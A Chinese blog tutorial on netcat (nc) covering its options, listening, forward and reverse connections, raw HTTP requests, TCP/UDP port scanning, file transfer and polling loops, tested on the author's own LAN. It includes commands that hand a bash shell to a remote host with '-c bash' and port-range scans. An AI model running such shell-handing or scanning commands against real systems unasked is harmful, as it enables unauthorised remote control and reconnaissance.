三千年读史无外乎功名利禄,九万里悟道终归是诗酒田园。

深入浅出网络瑞士军刀- nc(Netcat)

前言

nc即netcat的简写,在网络安全领域被冠以"瑞士军刀"的美名,引用一句二次元格言–"你的想象力是局限nc的瓶颈"。nc工作在OSI模型第四层,可以实现任意TCP/UDP端口的监听,亦可拿来做端口扫描、shell反弹等。本文将全面介绍nc各个参数用法,及实际工作中的常见案例。

一、nc各个选项解读

以下是nc各个参数的详细解释:

参数 含义
-c shell commands shell模式
-e filename 程序重定向
-b 允许广播
-g gateway 源路由跃点数,不超过8
-G num 源路由指向器,4的倍数
-i secs 设置延时间隔,单位秒
-k 设置在socket上的存活选项
-l 监听模式
-n 数字形式表示IP地址,不做DNS反解
-o file 将传输数据以16进制形式保存到文件
-p port 设置本地主机使用的端口
-r 随机指定本地与远端主机的通信端口
-q secs 在延迟后退出stdin
-s addr 指定本地源地址
-T tos 设置服务类型
-t 以telnet形式应答请求
-u UDP模式
-v 显示详细信息,使用-vv更详细
-w sec 设置等待超时时间
-z I/O模式,仅在扫描时使用

二、监听模式

1.开始监听端口

用法:

$  nc -lv -n -p 888  #监听本地888端口,-v显示详细连接信息,-n不做dns反解
listening on [any] 888 ...  

向目标主机主动发送shell

$ nc -lvp 1000 192.168.1.1 -c bash  #当192.168.1.1连接本机1000端口时,本机会将bash发送给1.1这台机器

openwrt连接到debian时,已经拿到了debian的root权限:

image1

2.正向和反向连接

正向连接:

$ nc -nv 192.168.1.197 888  #连接对端888端口
192.168.1.197 888 open

此时nc打开了一条TCP连接,在服务端或客户端输入文本信息会同步到两端的屏幕输出上:

image2

这种现象亦可称之为黑白对话,点对点即时聊天,如果对终端聊天感兴趣,可以了解下IRC。

反向连接:

服务端监听888端口:

$ nc -lvp 888  #监听888端口

客户端发送一个bash控制权给服务端:

$ nc -nv 192.168.1.197 888 -c bash  #执行完后,此时client端被server端控制,把bash主动交给server

image3

image4

从第一个包不难看出,1.197主动向1.1申请建立连接,建连后1.1拿到对端bash权限,来回PUSH几次数据后1.197主动断开连接,因为这时候在1.197侧按了ctrl + c,进程接收到SIGINT信号后终止运行,向对端发送FIN,ACK包:

image5

3.交互和非交互请求

交互请求

在建立连接后,可执行相关协议命令进行实时请求,如HTTP

image6

GET静态资源,指定HTTP协议版本和主机头

非交互请求

使用GET方法,请求ifconfig.co获取本机外网IP及地理信息:

$ echo -e "GET /json HTTP/1.0\r\nHost: ifconfig.co\r\n\r\n" | nc ifconfig.co 80
HTTP/1.1 200 OK
Date: Mon, 21 Sep 2020 12:40:01 GMT
Content-Type: application/json
Connection: close
Set-Cookie: __cfduid=dac968f89c1817c9a0a642387249ecd961604661421; expires=Sun, 21-Sep-20 12:40:01 GMT; path=/; domain=.ifconfig.co; HttpOnly; SameSite=Lax
vary: Accept-Encoding
...略
{
"ip":"103.116.47.52",
"ip_decimal":1735667508,
"country":"Hong Kong",
"country_iso":"HK",
"country_eu":false,
"region_name":"Central and Western District",
"region_code":"HCW",
"city":"Central",
"latitude":22.2795,
"longitude":114.146,
"time_zone":"Asia/Hong_Kong",
"asn":"AS140096",
"asn_org":"Jinx Co. Limited"
}
$

通过标准输出管道给nc处理,开了本地代理,因此拿到是一个香港IP

三、端口扫描

1.TCP扫描

无需特意指定扫描类型,默认为TCP扫描:

$ nc -v 192.168.1.1 80 #探测对端80是否开放
$ nc -nvz 192.168.1.1 80 #-n不做dns反解,-z探测后退出
$ nc -nvz 192.168.1.1 1-100  #指定扫描端口范围
(UNKNOWN) [192.168.1.1] 81 (?) open
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 53 (domain) open
(UNKNOWN) [192.168.1.1] 22 (ssh) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
$

整个扫描过程通过SYN包进行:

image7

由于-n参数不做反向解析,因此第一列都会显示(UNKNOWN),表示不知道该IP反解的域名,比较碍眼,可通过管道过滤下数据:

$ nc -nvz 192.168.1.1 1-100 |&grep -Po '(?<=\)\s).*'  #nc默认输出为STDERR,因此用|&处理,awk打印$2,$3,$4亦可
[192.168.1.1] 81 (?) open
[192.168.1.1] 80 (http) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 22 (ssh) open
[192.168.1.1] 21 (ftp) open
$ 

设置超时时间(-w)

通过-w参数指定超时时间,在更偏向于速度而不是准确率的场景可使用该参数:

$ nc -nvz -w 1 192.168.1.1 1-100  #设置每个端口最多扫描1s
(UNKNOWN) [192.168.1.1] 81 (?) open
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 53 (domain) open
(UNKNOWN) [192.168.1.1] 50 (re-mail-ck) : Connection timed out 
(UNKNOWN) [192.168.1.1] 24 (?) : Connection timed out
(UNKNOWN) [192.168.1.1] 22 (ssh) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
$

2450端口都超过1s,因此放弃扫描,使用timeout命令可限制整个nc命令的执行时间,但这种需求场景并不多

2.UDP扫描

需指定-u参数:

$ nc -nvz -u 192.168.1.1 53 
(UNKNOWN) [192.168.1.1] 53 (domain) open

image8

向目标端53端口发送一个UDP探测包,报文中可以看到显示为DNS协议,DNS大多数情况都是以UDP方式运行,除非返回的数据超过512字节,则会使用TCP,重传切割数据。openwrt上看DNS服务确实以TCPUDP两种模式运行:

image9

因此使用tcp、udp扫描都有对应的端口响应。

四、文件传输

1.通过STDIN/STDOUT传输文件

$ nc  -lvp 10101 < test.1  #服务端监听10101端口
$ nc 192.168.1.197 10101 > test.1  #客户端请求服务端10101端口并将输出定向到文件

image10

2.压缩打包传输

批量传输要压缩的文件,在到达对方后通过管道解压:

$ nc -lvp 10102 |tar xz  #接收端先监听本地端口,对端传过来的数据通过tar解压
$ tar -zc ./* | nc -v 192.168.1.1 10102  #发送端打包当前路径下的所有文件,通过nc发送给接收端

image11

五、拓展及总结

结合前面所讲,总结一些组合拳用法:

每秒探测一次对端80端口:

$ while :;do nc -vz -w 3 192.168.1.1 80 &>/dev/null && echo -e '80 is up';sleep 1;done

同时也可以指定端口:

$ while :;do for port in 80 443 22;do nc -vz -w 3 192.168.1.1 $port &>/dev/null && echo -e "$port is up";sleep 1;done;done  #也可以将for循环输入写成文件读取:$(cat file)

后台开启端口监听:

$ nohup -lp 8080 &>/dev/null &

批量写成循环即可,从文件读取要开启监听的端口:

$ while read port;do nohup nc -lp $port &>/dev/null &;done < port.list

image12

赞(20)
转载请注明出处:RokasYang's Blog » 深入浅出网络瑞士军刀-

相关推荐

  • 暂无文章